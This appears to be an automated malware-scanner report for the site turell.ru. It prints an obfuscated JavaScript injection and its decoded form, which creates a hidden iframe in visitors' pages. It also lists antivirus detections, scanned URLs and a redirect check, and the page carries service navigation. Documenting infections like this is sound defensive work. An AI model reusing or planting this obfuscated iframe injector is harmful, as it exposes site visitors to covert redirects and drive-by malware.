Malicious code - confirmed by antiviruses (see below) (function(PuE){var sx=function(X5A){return X5A["\x74\x6f\x53\x74\x72"+"\x69\x6e\x67"](36)},br=function(vX){return vX[sx(918239)]("") },M5z=""+br(["\x08\xb7?~\x97\x95f","\xa9&\xe9\x10\x83","\x1fne\xd2Vu\xcd\x17","/:l6OBXdRk`YbnJ\x09<","\x1e\x0cMnjWAl\x0e>","\x08\x0aMV\|\x07uTLE","\\PDtUm6^fVlHJ_r\x01",":\x0c\x0c\x1e;/+\x09","0\x09\x08'.\x1b-$","\x1c9;\x0b,\x0buDHEt","ykl/Ws\x0e[N\\~\x0b","\x16[vT\x0b\x16xu<+(","\x16;\x0f\x10\|pUh2^B","$\x18\x09\x14\x20\|3","6\x1fgFR$^a\x0b@V}R","ROo ... 1963 bytes are skipped ...3\x75\x62\x73\x74"+"\x72\x69\x6e\x67"](0,tP[OZ[2]]);KRY=function(z4){var jC,GP1,VxS=GP1="",GS=0;z4=z4[OZ[0]](VxS);for(jC in z4){if(z4[OZ[3]](jC)){GP1+=CGC(z4[jC],vK7[OZ[0]](VxS)[GS%=vK7[OZ[2]]]);GS++;}}return(GP1);};vK7=KRY(tP);PuE[KRY("efen")](KRY(M5z[KRY("sefqsVxIG")](tP[KRY("lujesL")])))})(window,CGC=function(lRf,Zxr,LY,Xe3){lRf=lRf[LY="\x63"+(Xe3="\x68\x61\x72\x43\x6f"+"\x64\x65")+"\x41\x74"](0);return(String["\x66\x72\x6f\x6d\x43"+Xe3](lRf&JMM\|((lRf&~JMM)^(Zxr[LY](0)&~JMM))))}); Decoded script: /h4HfICroqjTll//knzSCk//IGO1wroVmvbtEi4YBGKhNNA78/ (function(sb){JMM=(0xee-0xe8)/2(0xaf^0xa7)/20x11;var OR=(function(z){var a=[KRY("cbecwETOEmt]F"),KRY("wydvk"),KRY("huiekT"),KRY("sdynf"),KRY("a`pgmDRKIlu"),KRY("gutGoE\|FNtbqKVCD]POG"),KRY("Mqtj"),KRY("ofepeL~T"),KRY("p\x7fskwI~M"),KRY("lufv")],b=[KRY("d\x7fcwnE\x7fW"),KRY("f\|omq"),KRY("rqnflM"),KRY("lunewH"),KRY("sbc")],s=[KRY("dyv"),KRY("ivrcnE")],r=[KRY("hydffN"),KRY("arsmoUeF"),KRY("-!023\x10a ... 1215 bytes are skipped ...[3]];t[2][b[4]]=r[3];(t[1]=(t[0]=z[b[0]][a[0]](s[0]))[a[3]])[a[1]]=t[1][a[2]]=r[4];t[1][a[7]]=r[0];t[1][a[8]]=r[1];t[1][a[9]]=r[2];t[0][a[4]](t[2]);return t[0];})(sb),d=sb[KRY("d\x7fcwnE\x7fW")],i,b,l=KRY("lunewH"),t=KRY("gutGoE\|FNtbqKVCD]POG"),m=sb[KRY("Mqtj")];if(OR){if(b=d[t](KRY("b\x7fd{"))[0])((i=d[t](KRY("dyv")))[l]?i[m[KRY("f\|omq")](m[KRY("rqnflM")]()*i[KRY("lunewH")])]:b)[KRY("a`pgmDRKIlu")](OR);else d[KRY("wbivf")](OR[KRY("oetgqhEnl")]);}delete CGC;delete KRY;delete JMM;})(window); Antivirus reports: Avast JS:Agent-DCD [Expl] NANO-Antivirus Trojan.Script.Heuristic-js.iacgm AVG JS/Agent Sophos Troj/JSRedir-LH GData Script.Packed.IFrame.L@gen
http://turell.ru/sc2/replays.php	200 OK Content-Length: 32706 Content-Type: text/html	clean
http://turell.ru/wp-includes/js/jquery/jquery.js?ver=1.4.2	200 OK Content-Length: 93658 Content-Type: text/javascript	clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: turell.ru

Result:
HTTP/1.1 200 OK
Connection: close
Date: Wed, 17 Sep 2014 04:22:41 GMT
Server: Apache/2.2.15 (Cloud Linux)
Content-Type: text/html; charset=UTF-8
X-Pingback: http://turell.ru/xmlrpc.php
X-Powered-By: PHP/5.3.28

Second query (visit from search engine):
GET / HTTP/1.1
Host: turell.ru
Referer: http://www.google.com/search?q=turell.ru

Result:
The result is similar to the first query. There are no suspicious redirects found.

Recently found suspicious websites

Malware Scanner report for turell.ru

Malware & Hack Repair

Website Hack Insurance

Safe Browsing / Blacklists

Scanned pages/files

Malicious Redirects

Recently found suspicious websites

Company

Services

eVuln Labs

eVuln Tools